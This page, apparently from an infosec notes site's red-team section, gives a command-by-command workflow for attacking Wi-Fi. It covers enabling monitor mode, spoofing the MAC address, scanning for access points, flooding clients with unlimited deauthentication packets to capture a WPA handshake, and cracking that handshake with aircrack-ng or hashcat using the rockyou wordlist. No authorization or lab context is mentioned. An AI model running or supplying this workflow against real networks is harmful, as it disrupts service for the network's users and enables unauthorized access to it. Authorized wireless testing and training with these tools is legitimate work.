> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/red-team/wifi-hacking.md). # Wifi Hacking ### Requirements * A wireless adapter that supports: * **Monitor mode** (for capturing) * **Packet injection** * Tools: * `aircrack-ng` * `macchanger` (optional) * `hashcat` (for GPU cracking) *** ### Useful Commands * Check USB WiFi Adapter ```bash lsusb ``` * Change MAC Address (optional) ```bash ifconfig wlan0 down ``` ``` macchanger -r wlan0 ``` ``` ifconfig wlan0 up ``` *** ### Wireless Interface Modes | Mode | Description | | ------- | ---------------------------------- | | Managed | Default mode, used for connections | | Monitor | Captures all packets | *** ### Enable Monitor Mode * Stop conflicting processes ```bash airmon-ng check kill ``` * Enable monitor mode ``` airmon-ng start wlan0 ``` * Verify mode changed ``` iwconfig ``` *** ### Discover Wireless Networks ```bash airodump-ng wlan0mon ``` #### Output Fields: | Field | Description | | ------- | --------------------------- | | BSSID | MAC address of access point | | PWR | Signal strength | | CH | Channel | | Beacons | Beacon packets sent by AP | | ESSID | WiFi name (SSID) | *** ### Check Packet Injection Capability in your adapter ```bash aireplay-ng -9 wlan0mon ``` *** ### Capture Handshake * Start targeted capture: ```bash airodump-ng wlan0mon --bssid --channel --write /tmp/capture ``` * Wait for a device to connect *or* forcefully disconnect devices to trigger a reconnection (and handshake capture): ```bash aireplay-ng --deauth 0 -a wlan0mon ``` * `--deauth 0`: Infinite deauthentication packets * `-a`: Access point MAC address *** ### Crack Handshake (CPU-based) ```bash aircrack-ng /tmp/capture-01.cap -w /usr/share/wordlists/rockyou.txt ``` *** ### Crack Handshake (GPU-based with Hashcat) * Install Hashcat Utilities ```bash sudo apt install hashcat-utils ``` * Convert `.cap` to `.hccapx` ```bash /usr/lib/hashcat-utils/cap2hccapx.bin capture-01.cap handshake.hccapx ``` * Crack using Hashcat ```bash hashcat -m 2500 handshake.hccapx /usr/share/wordlists/rockyou.txt ``` * `-m 2500`: WPA/WPA2 handshake hash mode *** ### Full Example (Quick Workflow) #### Enable Monitor Mode by `ifconfig` ```bash ifconfig wlan0 down ``` ``` iwconfig wlan0 mode monitor ``` ``` ifconfig wlan0 up ``` #### Enable Monitor Mode by `airmon-ng` ``` airmon-ng check kill ``` ``` airmon-ng start wlan0 ``` ``` iwconfig ``` * Identify target AP ``` airodump-ng wlan0mon ``` ``` airodump-ng wlan0mon --channel 9 --bssid 00:00:00:00:00:00 --write demo_test ``` ``` aireplay-ng --deauth 0 -a 00:00:00:00:00:00 wlan0mon ``` ``` aircrack-ng demo_test-01.cap -w /usr/share/wordlists/rockyou.txt ```